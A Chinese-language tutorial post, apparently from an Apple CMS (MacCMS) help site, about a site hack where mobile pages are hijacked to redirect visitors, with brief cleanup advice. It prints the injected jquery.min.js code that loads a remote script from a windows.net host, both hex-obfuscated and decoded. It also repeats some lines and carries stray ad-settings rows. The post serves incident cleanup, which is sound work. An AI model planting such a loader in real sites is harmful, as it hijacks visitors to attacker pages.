国内服务器（包括家庭宽带本地）采集，请前往资源群获取对应国内备用接口更换
国外服务器请登录命令行 输入curl 接口地址 截图返回结果，如果不返回内容请联...
2025-11-18 1 苹果CMS教程苹果CMS漏洞修复苹果CMS优化教程苹果CMS漏洞苹果CMS系统教程苹果CMS木马清除
苹果cms最新漏洞被挂马跳转劫持及清除代码
苹果教程 2025-11-18 00:00:00 facai1688
| 后台-插件-广告管理-内容页头部广告（手机） |
网站被挂马跳转劫持跳转到H APP下载页。被挂马的完整PC端正常无异常，移动页面js跳转，被增加了一个js跳转。挂马图片通过日志查看挂马过程该漏洞是利用苹果
网站被挂马跳转劫持跳转到H APP下载页。
被挂马的完整PC端正常无异常，移动页面js跳转，被增加了一个js跳转。
挂马图片
通过日志查看挂马过程
该漏洞是利用苹果CMS的API执行SHELL，
挂马文件在模板的jquery.min.js
;var head=document.getElementsByTagName(‘head’) [0];var script=document.createElement(‘script’);script [‘src’]=’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6d\x61\x63\x63\x6d\x73\x2e\x7a\x32\x33\x2e\x77\x65\x62\x2e\x63\x6f\x72\x65\x2e\x77\x69\x6e\x64\x6f\x77\x73\x2e\x6e\x65\x74\x2f\x37\x33\x32\x64\x2e\x6a\x73’;head.appendChild(script);
解密之后是
解密之后是
var head = document.getElementsByTagName(‘head’) [0];
var script = document.createElement(‘script’);
script [‘src’] = ‘https://maccms.z23.web.core.windows.net/732d.js’;
head.appendChild(script);
清除代码
var script = document.createElement(‘script’);
script [‘src’] = ‘https://maccms.z23.web.core.windows.net/732d.js’;
head.appendChild(script);
清除代码
关闭后台采集API功能。或自定义API接口名字，
| 后台-插件-广告管理-内容页尾部广告（手机） |
标签： 苹果CMS教程 苹果CMS漏洞修复 苹果CMS优化教程 苹果CMS漏洞 苹果CMS系统教程 苹果CMS木马清除
相关文章
发表评论
评论列表